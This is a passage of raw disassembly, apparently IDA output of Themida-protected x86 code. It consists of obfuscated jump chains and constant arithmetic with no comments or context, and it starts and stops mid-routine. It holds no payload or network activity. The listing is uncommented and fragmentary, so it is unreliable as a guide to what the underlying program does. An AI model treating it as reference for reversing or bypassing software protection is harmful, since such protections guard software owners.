sub_562ABA+CC28j push dword ptr [esp+4] pop esi pop [esp+4+var_4] jmp loc_56F357 ; --------------------------------------------------------------------------- loc_5670FE: ; CODE XREF: sub_562ABA+115Bj sub al, bh jmp loc_56DD2D ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56710D: ; CODE XREF: sub_562ABA+8865j shr ebp, 4 push ebx mov ebx, 6477C220h xor ebp, ebx pop ebx add ecx, ebp pop ebp jmp loc_5694BE ; --------------------------------------------------------------------------- loc_567121: ; CODE XREF: sub_562ABA+D062j pop edi or ecx, 1464EE7h add ecx, 1501C825h push 79CBh mov [esp+4Ch+var_4E+2], eax jmp loc_5713D5 ; --------------------------------------------------------------------------- loc_56713B: ; CODE XREF: sub_562ABA-18ECj mov ecx, esi pop esi rep movsd add esp, [edx+38h] jmp loc_565501 ; --------------------------------------------------------------------------- loc_567148: ; CODE XREF: sub_562ABA+1BC6j xor edx, edi pop edi sub ebp, 643F7982h add ebp, edx sub esp, 4 mov [esp+4Ah+var_4A], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55E218 ; --------------------------------------------------------------------------- loc_56716F: ; CODE XREF: sub_562ABA+E38Cj add edx, eax pop eax xchg edx, [esp+46h+var_46] pop esp push eax mov eax, 60402145h inc eax shr eax, 3 xor eax, 1785006Fh add edi, eax jmp loc_565F06 ; --------------------------------------------------------------------------- loc_56718C: ; CODE XREF: sub_562ABA+8D50j mov ebx, 7D1C3378h inc ebx shr ebx, 6 jmp loc_56209E ; --------------------------------------------------------------------------- loc_56719A: ; CODE XREF: sub_562ABA-835j sub ebp, esi pop esi push eax mov eax, 0FD185604h sub ebp, eax pop eax sub eax, ebp pop ebp push [esp+2Ah+var_2C+2] jmp loc_55FC1F ; --------------------------------------------------------------------------- loc_5671B1: ; CODE XREF: sub_562ABA+E683j sub eax, 2 push 4343h jmp loc_572972 ; --------------------------------------------------------------------------- loc_5671C0: ; CODE XREF: sub_562ABA+780Ej push ecx jmp loc_56DBD7 ; --------------------------------------------------------------------------- loc_5671C6: ; CODE XREF: sub_562ABA+9DBEj not ebp not ebp not ebp shr ebp, 4 jmp loc_56E1EF ; --------------------------------------------------------------------------- loc_5671D4: ; CODE XREF: sub_562ABA+497Fj push esp jmp loc_571FA8 ; --------------------------------------------------------------------------- loc_5671DA: ; CODE XREF: sub_562ABA-1913j mov word ptr [esp+8+var_8], cx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5671E3: ; CODE XREF: sub_562ABA+53j push esi mov esi, 3E342274h sub esi, 39420EC3h dec esi push eax mov eax, 4F213ACh jmp loc_567D39 ; --------------------------------------------------------------------------- loc_5671FB: ; CODE XREF: sub_562ABA+5A6Aj pop eax mov ecx, 0E850F17Bh add ecx, edx pop edx xor ecx, 5E5B791Dh add edi, ecx pop ecx and edi, 51B4076Ah dec edi sub edi, 88F3F785h sub eax, edi mov edi, [esp+1Ah+var_1A] jmp loc_56DFA0 ; --------------------------------------------------------------------------- loc_567224: ; CODE XREF: sub_562ABA-43DCj add ebx, 19B62AC7h add ebx, 3F790B41h jmp loc_5663D5 ; --------------------------------------------------------------------------- loc_567235: ; CODE XREF: sub_562ABA+7977j mov eax, 378C23E3h xor ecx, eax mov eax, [esp+22h+var_22] add esp, 4 jmp loc_572093 ; --------------------------------------------------------------------------- loc_56724A: ; CODE XREF: sub_562ABA+DC59j sub esp, 4 mov [esp+22h+var_22], ebx mov ebx, esp add ebx, 4 jmp loc_56D7D3 ; --------------------------------------------------------------------------- loc_567260: ; CODE XREF: sub_562ABA+87CBj pop edi jmp loc_56BBE3 ; --------------------------------------------------------------------------- loc_567266: ; CODE XREF: sub_55FCA5+4A5j add eax, 3E362E8h sub eax, ebp push 48F5h mov [esp+22h+var_22], ebp mov ebp, 78253F38h jmp loc_56225F ; --------------------------------------------------------------------------- loc_56727F: ; CODE XREF: sub_562ABA+712Dj add bl, 60h add ch, bl jmp loc_572432 ; --------------------------------------------------------------------------- loc_567289: ; CODE XREF: sub_562ABA+9C15j sub esp, 4 mov [esp+26h+var_28+2], edx sub esp, 4 mov [esp+2Ah+var_2C+2], edi mov edi, 458179Ch mov edx, edi pop edi jmp loc_57017C ; --------------------------------------------------------------------------- loc_5672A5: ; CODE XREF: sub_562ABA+B33j mov eax, 32940585h sub eax, 2EDDA5DBh or eax, 6110077Dh jmp loc_56A598 ; --------------------------------------------------------------------------- loc_5672B9: ; CODE XREF: sub_562ABA+F563j mov edx, 3129134Ah add ebp, edx pop edx jmp loc_564BF4 ; --------------------------------------------------------------------------- loc_5672C6: ; CODE XREF: sub_562ABA+4F31j push [esp+36h+var_32] mov ebp, [esp+3Ah+var_3A] push ebp mov ebp, esp jmp loc_56C4F9 ; --------------------------------------------------------------------------- push [esp+3Eh+var_3A] push [esp+42h+var_42] mov eax, [esp+46h+var_46] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp+4Eh+var_4E], ebp mov ebp, 81B7F8Bh dec ebp shr ebp, 3 shr ebp, 1 jmp loc_563D34 ; --------------------------------------------------------------------------- loc_567301: ; CODE XREF: sub_55FCA5+34Cj xchg ebp, [esp+4Eh+var_4E] pop esp xor edx, edx push ebx jmp loc_568C8C ; --------------------------------------------------------------------------- loc_56730D: ; CODE XREF: sub_562ABA+2819j pop esp mov [esp+0], esp jmp loc_56FF7D ; --------------------------------------------------------------------------- loc_567316: ; CODE XREF: sub_562ABA-D03j xor [esp+3Eh+var_3E], edi xor edi, [esp+3Eh+var_3E] jmp loc_570A41 ; --------------------------------------------------------------------------- loc_567321: ; CODE XREF: sub_562ABA+33DCj add eax, 4 jmp loc_56516E ; --------------------------------------------------------------------------- loc_56732B: ; CODE XREF: sub_562ABA+118Ej pop [esp+36h+var_36] add [esp+32h+var_32], 4 pop ecx add ecx, 4 push ebp mov ebp, 4 jmp loc_56C13F ; --------------------------------------------------------------------------- loc_567347: ; CODE XREF: sub_562ABA+70CFj add ecx, 4 jmp loc_570EE9 ; --------------------------------------------------------------------------- loc_567352: ; CODE XREF: sub_562ABA+5890j mov bx, bp pop bp sub bx, 0FFFFh inc bx jmp loc_56B85E ; --------------------------------------------------------------------------- loc_567363: ; CODE XREF: sub_562ABA+67DFj sub esi, 62590B81h jmp loc_560DB8 ; --------------------------------------------------------------------------- loc_56736E: ; CODE XREF: sub_562ABA+3CAFj xor ah, bl pop ebx and ah, 0B5h shl ah, 4 sub ah, 0F5h add bl, 0A1h add bl, ah sub bl, 0A1h push [esp+20h+var_22+2] pop eax jmp loc_56A717 ; --------------------------------------------------------------------------- loc_56738B: ; CODE XREF: sub_562ABA-15BEj push 4A66h mov [esp-6+arg_0+2], ecx push esp pop ecx push edi mov edi, esp add edi, 4 jmp loc_561BED ; --------------------------------------------------------------------------- loc_5673A3: ; CODE XREF: sub_562ABA+D991j add edx, 744E758Eh jmp loc_563C65 ; --------------------------------------------------------------------------- loc_5673AE: ; CODE XREF: sub_562ABA+9002j neg dh xor dh, 0DCh jmp loc_56E0C1 ; --------------------------------------------------------------------------- loc_5673B8: ; CODE XREF: sub_562ABA+21BFj mov esi, 5FD63055h push edx mov edx, 0AC14DDB7h add esi, edx pop edx jmp loc_56581D ; --------------------------------------------------------------------------- loc_5673CB: ; CODE XREF: sub_562ABA+B34Cj push [esp+36h+var_36] jmp loc_564B27 ; --------------------------------------------------------------------------- loc_5673D3: ; CODE XREF: sub_562ABA+3A4Fj pop eax xchg ebp, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] mov [esp+10h+var_12+2], edi mov edi, 0FE342D57h jmp loc_569BA7 ; --------------------------------------------------------------------------- loc_5673E7: ; CODE XREF: sub_562ABA+58B9j mov eax, 4 add ecx, eax pop eax xor ecx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ecx xor ecx, [esp+0Ch+var_C] pop esp jmp loc_562D4D ; --------------------------------------------------------------------------- loc_5673FE: ; CODE XREF: sub_562ABA+7599j mov edx, [esp+8+var_8] jmp loc_55EC91 ; --------------------------------------------------------------------------- loc_567406: ; CODE XREF: sub_562ABA-A03j mov esp, [esp+0] jmp loc_562F17 ; --------------------------------------------------------------------------- loc_56740E: ; CODE XREF: sub_562ABA+5D75j inc ebx or ebx, 142B1581h or ebx, 59894539h push ebp push edx mov edx, 5A3513C2h xor edx, 19344A56h mov ebp, edx pop edx push edi jmp loc_56CA6E ; --------------------------------------------------------------------------- loc_567431: ; CODE XREF: sub_562ABA+5D62j push 4473h mov [esp+1Ah+var_1A], edx jmp loc_5671D4 ; --------------------------------------------------------------------------- loc_56743E: ; CODE XREF: sub_562ABA+3B5Dj push edi mov edi, esp jmp loc_56AAAF ; --------------------------------------------------------------------------- loc_567446: ; CODE XREF: sub_562ABA-CA7j pop ecx jmp loc_56DDFE ; --------------------------------------------------------------------------- loc_56744C: ; CODE XREF: sub_562ABA-204Dj sub ecx, 481B0B78h add ecx, esi push edx mov edx, 0EBF1875h shr edx, 8 push esi mov esi, 34DA7814h or edx, esi pop esi jmp loc_570D92 ; --------------------------------------------------------------------------- push [esp+1Ah+var_1A] pop ecx jmp loc_56C023 ; --------------------------------------------------------------------------- loc_567474: ; CODE XREF: sub_562ABA+AF3Bj xchg ebp, [esp+1Ah+var_1A] pop esp add esp, 4 push esi jmp loc_55EA48 ; --------------------------------------------------------------------------- loc_567481: ; CODE XREF: sub_562ABA+99FEj sub ecx, 0F75337B1h jmp loc_55EC56 ; --------------------------------------------------------------------------- loc_56748C: ; CODE XREF: sub_562ABA+DBDEj pop ecx xor [esp+12h+var_12], ecx xor ecx, [esp+12h+var_12] xor [esp+12h+var_12], ecx mov eax, [esp+12h+var_12] sub esp, 4 mov [esp+16h+var_16], edi jmp loc_56CF65 ; --------------------------------------------------------------------------- loc_5674A4: ; CODE XREF: sub_562ABA+7754j sub ecx, 477C6987h jmp loc_561E11 ; --------------------------------------------------------------------------- loc_5674AF: ; CODE XREF: sub_562ABA+523Cj not edx jmp loc_565883 ; --------------------------------------------------------------------------- loc_5674B6: ; CODE XREF: sub_562ABA+7DA2j push [esp+16h+var_12] jmp loc_55F657 ; --------------------------------------------------------------------------- loc_5674BF: ; CODE XREF: sub_562ABA+61D8j mov eax, [esp+1Ah+var_1A] jmp loc_56558C ; --------------------------------------------------------------------------- loc_5674C7: ; CODE XREF: sub_562ABA+792Ej push esi mov esi, 144068B3h jmp loc_56268F ; --------------------------------------------------------------------------- loc_5674D2: ; CODE XREF: sub_562ABA+81CEj mov [esp+1Eh+var_1E], ecx mov ecx, 209E7E7Ch neg ecx xor ecx, 3805242Ah push eax mov eax, 56BC4312h shl eax, 6 shl eax, 3 shr eax, 2 sub eax, 0FE7C7922h jmp loc_56E163 ; --------------------------------------------------------------------------- loc_5674FB: ; CODE XREF: sub_562ABA-BE5j pop edx push esi jmp loc_569F26 ; --------------------------------------------------------------------------- loc_567502: ; CODE XREF: sub_562ABA+B76Fj add ebp, ecx pop ecx xor ebp, 78712589h shr ebp, 4 or ebp, 12FE69DAh jmp loc_5698AA ; --------------------------------------------------------------------------- loc_567519: ; CODE XREF: sub_562ABA+EB46j pop esp xchg edi, [esp+2+var_4+2] pop esp sub esp, 2 mov word ptr [esp+2+var_4+2], cx jmp loc_566E5E ; --------------------------------------------------------------------------- loc_56752A: ; CODE XREF: sub_562ABA+8DBDj neg bx jmp loc_567D6C ; --------------------------------------------------------------------------- loc_567532: ; CODE XREF: sub_562ABA+26Dj push edx mov dh, 39h sub al, dh pop edx push dx jmp loc_570B43 ; --------------------------------------------------------------------------- loc_56753F: ; CODE XREF: sub_562ABA+8A91j mov [esp+8+var_8], ebp push edi push 39C533E8h pop edi xor edi, 62595F9Ch or edi, 4CB07048h sub edi, 13337325h sub edi, 0DC1DBCBAh jmp loc_56390E ; --------------------------------------------------------------------------- loc_567566: ; CODE XREF: sub_562ABA+D1CEj pop edi jmp loc_567034 ; --------------------------------------------------------------------------- loc_56756C: ; CODE XREF: sub_562ABA+2B2Bj inc ebp sub ebp, 36A32768h xor eax, ebp jmp loc_56A99A ; --------------------------------------------------------------------------- loc_56757A: ; CODE XREF: sub_562ABA+944Bj pop dword ptr [esp+0] pop esp jmp loc_569A39 ; --------------------------------------------------------------------------- loc_567583: ; CODE XREF: sub_562ABA+9D08j add esp, 4 push ecx mov ecx, 423C2CAEh and eax, ecx jmp loc_55EAEE ; --------------------------------------------------------------------------- loc_567593: ; CODE XREF: sub_562ABA+5C68j push edx mov edx, 6B98456Eh sub [esp+0Ah+var_8+2], edx pop edx pop edi add edi, 6B98456Eh jmp loc_56F325 ; --------------------------------------------------------------------------- loc_5675AA: ; CODE XREF: sub_562ABA+FD69j mov ecx, 20F12778h push eax mov eax, 420F11EAh push edx jmp loc_572AE3 ; --------------------------------------------------------------------------- loc_5675BB: ; CODE XREF: sub_562ABA+70AAj add edi, 11DB2BF0h jmp loc_56245B ; --------------------------------------------------------------------------- loc_5675C6: ; CODE XREF: sub_562ABA+D0C5j push 6938h mov [esp+0], ecx mov ecx, 0C414950h xchg esi, ecx dec esi push ecx jmp sub_5602C2 ; --------------------------------------------------------------------------- loc_5675DC: ; CODE XREF: sub_562ABA+2B3j push edi mov edi, 695B3D27h shr edi, 3 not edi xor edi, 0A333BDE8h add ebp, edi jmp loc_5602EE ; --------------------------------------------------------------------------- loc_5675F4: ; CODE XREF: sub_562ABA-103Aj add esp, 4 jmp loc_55E524 ; --------------------------------------------------------------------------- loc_5675FC: ; CODE XREF: sub_562ABA-31A3j add esi, 30CD14BBh and ebp, esi mov esi, [esp+12h+var_12] add esp, 4 jmp loc_560CB0 ; --------------------------------------------------------------------------- loc_567612: ; CODE XREF: sub_562ABA+D677j push 1 push [esp+12h+var_12] jmp loc_56B597 ; --------------------------------------------------------------------------- loc_56761F: ; CODE XREF: sub_562ABA+2EB3j add ebx, eax pop eax add ebx, ebp sub ebx, 63D918C5h push edx mov edx, 354F7FB0h inc edx or edx, 38435CA9h jmp loc_55F7BB ; --------------------------------------------------------------------------- loc_56763C: ; CODE XREF: sub_562ABA+D8C1j pop ecx push 141h mov [esp+4Eh+var_4E], ecx jmp loc_56CE69 ; --------------------------------------------------------------------------- loc_56764A: ; CODE XREF: sub_562ABA+7F93j mov ebx, 2D7F5DACh mov eax, ebx pop ebx push 5C00h mov [esp+4Eh+var_4E], ecx mov ecx, 38515DB7h inc ecx push edx jmp loc_5659F0 ; --------------------------------------------------------------------------- loc_567666: ; CODE XREF: sub_562ABA+2369j sub esp, 4 jmp loc_56B9F7 ; --------------------------------------------------------------------------- loc_56766E: ; CODE XREF: sub_562ABA-EFAj xchg ebp, [esp+0Ah+var_C+2] mov esi, [esp+0Ah+var_C+2] add esp, 4 and esi, 329B6544h shl esi, 8 or esi, 69F6430Ah push ebx jmp loc_56F764 ; --------------------------------------------------------------------------- loc_56768C: ; CODE XREF: sub_562ABA+8F62j mov ebp, 2A95422Eh add ebp, 0FFFFFFFFh dec ebp jmp loc_565FA2 ; --------------------------------------------------------------------------- loc_56769D: ; CODE XREF: sub_562ABA+294Aj add eax, 48C46E74h add eax, edi sub eax, 48C46E74h mov edi, [esp+0] jmp loc_572558 ; --------------------------------------------------------------------------- loc_5676B1: ; CODE XREF: sub_562ABA+1CD8j push edi jmp loc_56DEB8 ; --------------------------------------------------------------------------- loc_5676B7: ; CODE XREF: sub_562ABA+4566j push [esp+22h+var_1E] pop ecx pop [esp+22h+var_22] sub esp, 4 mov [esp+22h+var_22], ecx push 35A9h mov [esp+26h+var_28+2], esi mov ecx, [esp+26h+var_28+2] push ebx mov ebx, esp jmp loc_564DE5 ; --------------------------------------------------------------------------- loc_5676D8: ; CODE XREF: sub_562ABA+B9D2j mov edi, 4 sub eax, edi push [esp+2Ah+var_2C+2] pop edi add esp, 4 push eax push [esp+2Ah+var_28+2] pop eax pop [esp+2Ah+var_2C+2] mov esp, [esp+26h+var_28+2] jmp loc_56DFE4 ; --------------------------------------------------------------------------- loc_5676F7: ; CODE XREF: sub_562ABA-35Cj mov [esp+3Ah+var_3A], ebp push 40h mov ebp, [esp+3Eh+var_3E] jmp loc_567FC4 ; --------------------------------------------------------------------------- loc_567707: ; CODE XREF: sub_562ABA-2F9Ej push [esp+12h+var_12] pop ebp add esp, 4 add ecx, 4 xchg ecx, [esp+0] mov esp, [esp+0] jmp loc_571B29 ; --------------------------------------------------------------------------- loc_567722: ; CODE XREF: sub_562ABA-687j add esp, 4 add edx, 4 xor edx, [esp+3Ah+var_3A] xor [esp+3Ah+var_3A], edx xor edx, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] jmp loc_56C39B ; --------------------------------------------------------------------------- loc_56773C: ; CODE XREF: sub_562ABA+3CE0j sub edi, eax mov eax, [esp+0] add esp, 4 jmp loc_56000A ; --------------------------------------------------------------------------- loc_56774C: ; CODE XREF: sub_562ABA+F2AEj sub al, bl sub al, 87h sub esp, 2 mov [esp+0], dx sub esp, 2 mov word ptr [esp+2+var_4+2], cx mov cl, 1Eh push ebx mov bl, cl mov dl, bl jmp loc_5662DE ; --------------------------------------------------------------------------- loc_56776A: ; CODE XREF: sub_562ABA-1BDAj xor ebx, 66EB2FFEh jmp loc_565647 ; --------------------------------------------------------------------------- loc_567775: ; CODE XREF: sub_562ABA+B09Fj add edx, 1 dec edx sub edx, 1 push esi mov esi, 75E90318h or esi, 61D41E19h add esi, 0CE268C7Ch jmp loc_5609E3 ; --------------------------------------------------------------------------- loc_567796: ; CODE XREF: sub_562ABA+37BCj add ebx, 14FB426Dh jmp loc_55E895 ; --------------------------------------------------------------------------- loc_5677A1: ; CODE XREF: sub_562ABA+45C2j push esi push edx push 53084823h pop edx jmp loc_55E8FF ; --------------------------------------------------------------------------- loc_5677AE: ; CODE XREF: sub_562ABA+6C6Dj push 4469h mov [esp+42h+var_42], ebx push edi jmp loc_56DE7B ; --------------------------------------------------------------------------- loc_5677BC: ; CODE XREF: sub_562ABA+E7C5j add esp, 4 add edx, 0A7FBD880h and ecx, edx mov edx, [esp+42h+var_42] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_569C99 ; --------------------------------------------------------------------------- loc_5677DE: ; CODE XREF: Themida_:00562959j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5677E3: ; CODE XREF: sub_562ABA+6CACj mov ebp, ebx pop ebx sub edi, ebp pop ebp xchg edi, [esp+3Ah+var_3A] jmp loc_567DF9 ; --------------------------------------------------------------------------- loc_5677F1: ; CODE XREF: sub_562ABA-121j push [esp+2Ah+var_2C+2] mov ebx, [esp+0] add esp, 4 add esp, 4 jmp loc_560270 ; --------------------------------------------------------------------------- loc_567805: ; CODE XREF: sub_562ABA+7EDBj pop eax sub ebx, 6E4D63FCh push edx push ecx jmp loc_56A164 ; --------------------------------------------------------------------------- loc_567813: ; CODE XREF: sub_562ABA+3EB2j mov edx, [esp-6+arg_0+2] jmp loc_5645B4 ; --------------------------------------------------------------------------- loc_56781B: ; CODE XREF: sub_562ABA-3500j add bl, 0ADh push edx mov dh, 32h not dh jmp loc_571CF6 ; --------------------------------------------------------------------------- loc_567828: ; CODE XREF: sub_562ABA+5AD5j push ecx mov ecx, esp add ecx, 4 push edi mov edi, 5D161379h jmp loc_569519 ; --------------------------------------------------------------------------- loc_56783C: ; CODE XREF: sub_562ABA+A9AEj mov ecx, 540394h jmp loc_562117 ; --------------------------------------------------------------------------- loc_567846: ; CODE XREF: sub_562ABA+A86Bj add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56784E: ; CODE XREF: sub_562ABA+9112j add ecx, ebx sub ecx, 3CA11F9Bh pop ebx sub ecx, 4 xchg ecx, [esp-0Ch+arg_8] jmp loc_560BF6 ; --------------------------------------------------------------------------- loc_567865: ; CODE XREF: sub_562ABA+64E5j add edx, 4 add edx, 4 xchg edx, [esp-0Ch+arg_8] pop esp neg eax or eax, 70E86730h push 0 sub [esp-0Ch+arg_8], eax mov eax, [esp-0Ch+arg_8] jmp loc_5649F3 ; --------------------------------------------------------------------------- loc_567889: ; CODE XREF: sub_562ABA+EE10j mov ecx, [esp-0Ch+arg_8] add esp, 4 sub al, dh pop dx push edx push ebx mov bl, 0C0h jmp loc_56987F ; --------------------------------------------------------------------------- loc_56789F: ; CODE XREF: sub_562ABA+6E05j sub eax, esi add eax, 1A7533DCh sub esp, 4 mov [esp-6+arg_0+2], ebp mov ebp, 556E63BBh inc ebp neg ebp add ebp, 0B16D7293h add eax, ebp pop ebp pop esi push 3B3Eh mov [esp-0Ah+arg_4+2], ecx push 7534h mov [esp-6+arg_0+2], eax mov eax, esp push ebx mov ebx, 6E3956F8h or ebx, 76646596h jmp loc_56FA30 ; --------------------------------------------------------------------------- loc_5678E1: ; CODE XREF: sub_562ABA-42AFj push [esp+16h+var_16] push [esp+1Ah+var_1A] pop eax add esp, 4 push 6B28h jmp loc_569E67 ; --------------------------------------------------------------------------- loc_5678F8: ; CODE XREF: sub_562ABA-4491j pop esp push edx push [esp+4Ah+var_46] pop edx pop [esp+4Ah+var_4A] mov esp, [esp+46h+var_46] and [esp+46h+var_46], eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56790E: ; CODE XREF: sub_562ABA+B8A7j add ecx, 3C552EF8h mov eax, [esp+4Ah+var_4A] jmp loc_571982 ; --------------------------------------------------------------------------- loc_56791C: ; CODE XREF: sub_562ABA+524Cj push eax mov eax, 7DE848A0h mov ebp, eax pop eax shr ebp, 3 shr ebp, 6 sub ebp, 40D46539h or ebp, 73B31A32h push edx mov edx, 3D452E59h or edx, 61AB52F8h push esi jmp loc_5660C9 ; --------------------------------------------------------------------------- loc_567949: ; CODE XREF: sub_562ABA-49C3j push 0 jmp loc_568328 ; --------------------------------------------------------------------------- loc_567953: ; CODE XREF: sub_562ABA+B81Fj push [esp+0Ah+var_8+2] pop esi pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] jmp loc_56706C ; --------------------------------------------------------------------------- loc_567963: ; CODE XREF: sub_562ABA+3564j shr ecx, 4 shl ecx, 1 push edi mov edi, 4C584E2h jmp loc_561272 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Eh+var_1E] jmp sub_561161 ; --------------------------------------------------------------------------- loc_56797C: ; CODE XREF: sub_562ABA+9857j mov [esp+1Eh+var_1E], ecx mov ecx, 75767CDEh push esi mov esi, 404872C8h sub ecx, esi mov esi, [esp+22h+var_22] add esp, 4 jmp loc_55F385 ; --------------------------------------------------------------------------- loc_56799A: ; CODE XREF: sub_562ABA-3636j pop ebx jmp loc_5630F6 ; --------------------------------------------------------------------------- loc_5679A0: ; CODE XREF: sub_562ABA+5962j not ebp add ebp, 9E48E692h sub esi, ebp pop ebp push esi jmp loc_572939 ; --------------------------------------------------------------------------- loc_5679B1: ; CODE XREF: sub_562ABA+C042j mov esp, [esp+26h+var_28+2] push 0B1Fh mov [esp+2Ah+var_2C+2], edx mov edx, 0BEB5FD9h sub edx, 0CD4F2AEFh sub eax, 7AF124BFh add eax, edx jmp loc_56C7C7 ; --------------------------------------------------------------------------- loc_5679D3: ; CODE XREF: sub_562ABA+A0A8j push cx mov ch, 8Fh xor ah, ch pop cx dec ah jmp loc_5729B1 ; --------------------------------------------------------------------------- loc_5679E2: ; CODE XREF: sub_562ABA+EC72j pop ebx jmp loc_5610B3 ; --------------------------------------------------------------------------- loc_5679E8: ; CODE XREF: sub_562ABA-4061j mov [esp+1Eh+var_1E], ebp jmp loc_5672C6 ; --------------------------------------------------------------------------- loc_5679F0: ; CODE XREF: sub_562ABA-D23j mov [esp+3Ah+var_3A], edx push ecx push 43D72022h pop ecx add ecx, 6AE8303Eh jmp loc_565D7F ; --------------------------------------------------------------------------- loc_567A05: ; CODE XREF: sub_562ABA+D284j mov esi, [esp+3Eh+var_3E] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp+42h+var_3E] pop ebx jmp loc_56B677 ; --------------------------------------------------------------------------- loc_567A22: ; CODE XREF: sub_562ABA-284Fj neg ebp add ebp, 3E21842Fh mov eax, ebp jmp loc_56D666 ; --------------------------------------------------------------------------- loc_567A31: ; CODE XREF: sub_562ABA+69FFj add ebp, 4 sub ebp, 4 jmp loc_56EB16 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6+arg_0+2] sub esp, 4 jmp loc_567BCA ; --------------------------------------------------------------------------- loc_567A4B: ; CODE XREF: sub_562ABA-28Ej pop edi add esp, 4 push esi mov esi, 2 add ecx, esi jmp loc_56610B ; --------------------------------------------------------------------------- loc_567A5C: ; CODE XREF: sub_562ABA+EA15j sub edi, 96358478h mov ebx, edi pop edi add edx, 2D38598Bh jmp loc_568CB0 ; --------------------------------------------------------------------------- loc_567A70: ; CODE XREF: sub_562ABA+F307j pop [esp+12h+var_12] push edx jmp loc_5653ED ; --------------------------------------------------------------------------- loc_567A79: ; CODE XREF: sub_562ABA+8B1Aj mov [esp+12h+var_12], ecx mov ecx, 2 jmp loc_565295 ; --------------------------------------------------------------------------- loc_567A86: ; CODE XREF: sub_562ABA-32E6j pop edx pop ebp add eax, 2D5E75A2h add eax, ebx push esi mov esi, 2D5E75A2h sub eax, esi pop esi pop ebx push 308Eh mov [esp+0], edi mov edi, 2 sub eax, 17561573h add eax, edi push ecx mov ecx, 17561573h add eax, ecx pop ecx mov edi, [esp+0] add esp, 4 push 328Eh mov [esp+0], eax jmp loc_56169E ; --------------------------------------------------------------------------- loc_567AC9: ; CODE XREF: sub_562ABA+C6D6j pop eax sub esp, 4 mov [esp+0], edx mov dl, ah mov bh, dl jmp loc_560D7D ; --------------------------------------------------------------------------- loc_567AD9: ; CODE XREF: sub_562ABA+9376j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp push [esp+0Ah+var_C+2] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_569AEF ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h sub esp, 4 mov [esp+12h+var_12], esi sub esp, 4 mov [esp+16h+var_16], ecx jmp loc_56F0E1 ; --------------------------------------------------------------------------- loc_567B1A: ; CODE XREF: sub_562ABA+7BB4j sub ecx, ebx jmp loc_571953 ; --------------------------------------------------------------------------- loc_567B21: ; CODE XREF: sub_562ABA-42CAj mov ebp, 74836CCFh shr ebp, 6 sub ebp, 0A14C9AEFh jmp loc_55E810 ; --------------------------------------------------------------------------- loc_567B34: ; CODE XREF: sub_562ABA+D3FFj add [esp+1Eh+var_1E], 4 jmp loc_5664B2 ; --------------------------------------------------------------------------- loc_567B3D: ; CODE XREF: sub_55E502+4D8j xor ebx, 44330CC7h jmp loc_55EE3A ; --------------------------------------------------------------------------- loc_567B48: ; CODE XREF: sub_55E50D+1j pop ebp pop ebx sub eax, 4A867ADEh add eax, ebp add eax, 4A867ADEh push [esp+16h+var_16] mov ebp, [esp+1Ah+var_1A] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+1Eh+var_1E] jmp loc_5653C1 ; --------------------------------------------------------------------------- loc_567B70: ; CODE XREF: sub_562ABA+E1D2j mov edi, 4 add ebx, 386E0BFFh push ecx mov ecx, 6F9A18EEh and ecx, 119C1BBCh sub ecx, 25BC7D1Fh not ecx sub ecx, 7AFE31DEh jmp loc_56E0F4 ; --------------------------------------------------------------------------- loc_567B9A: ; CODE XREF: sub_562ABA-804j xchg edi, [esp+32h+var_32] mov esp, [esp+32h+var_32] mov [esp+32h+var_32], ebp push esi mov esi, 0FFFFFFFFh mov ebp, esi pop esi jmp loc_55F7F8 ; --------------------------------------------------------------------------- loc_567BB1: ; CODE XREF: sub_562ABA+82B0j xor [esp+32h+var_32], eax xor eax, [esp+32h+var_32] xor [esp+32h+var_32], eax jmp loc_56F12E ; --------------------------------------------------------------------------- loc_567BBF: ; CODE XREF: sub_562ABA+29DEj sub edi, esi pop esi xchg edi, [esp+2+var_4+2] jmp loc_56419B ; --------------------------------------------------------------------------- loc_567BCA: ; CODE XREF: sub_562ABA+4F8Cj mov [esp+0], ebx jmp loc_571B65 ; --------------------------------------------------------------------------- loc_567BD2: ; CODE XREF: sub_562ABA+D2E3j pop ecx xchg eax, [esp-6+arg_0+2] pop esp mov [esp-0Ah+arg_4+2], ecx push ebx mov bh, 83h or bh, 0B1h not bh jmp loc_55F0F3 ; --------------------------------------------------------------------------- loc_567BE7: ; CODE XREF: sub_562ABA-3F52j mov esp, [esp+2Ah+var_2C+2] neg ebx jmp loc_56A955 ; --------------------------------------------------------------------------- loc_567BF1: ; CODE XREF: sub_562ABA+FCDj push ebp mov ebp, 431D2905h push ebx mov ebx, 6B96513Ah add ebp, ebx pop ebx xor ebp, 3A0A43CFh xor ebp, 53722995h shr ebp, 2 push esi mov esi, 39993604h xor esi, 1C9480EDh jmp loc_5665A7 ; --------------------------------------------------------------------------- loc_567C20: ; CODE XREF: sub_562ABA-811j mov [esp+36h+var_36], ecx add [esp+36h+var_36], 2A256875h pop edx sub edx, 2A256875h mov ecx, [esp+32h+var_32] jmp loc_56CA4F ; --------------------------------------------------------------------------- loc_567C39: ; CODE XREF: sub_562ABA+6B57j mov edi, [esp+32h+var_32] add esp, 4 jmp loc_570B27 ; --------------------------------------------------------------------------- lodsb push 6C54h mov [esp+32h+var_32], ecx mov cl, 0D5h neg cl jmp loc_571D1E ; --------------------------------------------------------------------------- loc_567C59: ; CODE XREF: sub_562ABA+3077j xor eax, ebx jmp loc_55E5E3 ; --------------------------------------------------------------------------- loc_567C60: ; CODE XREF: sub_562ABA-4547j mov edi, esp add edi, 4 push 3DDDh mov [esp+42h+var_42], ebx push 6498h jmp loc_56E52E ; --------------------------------------------------------------------------- loc_567C7A: ; CODE XREF: sub_562ABA-1706j 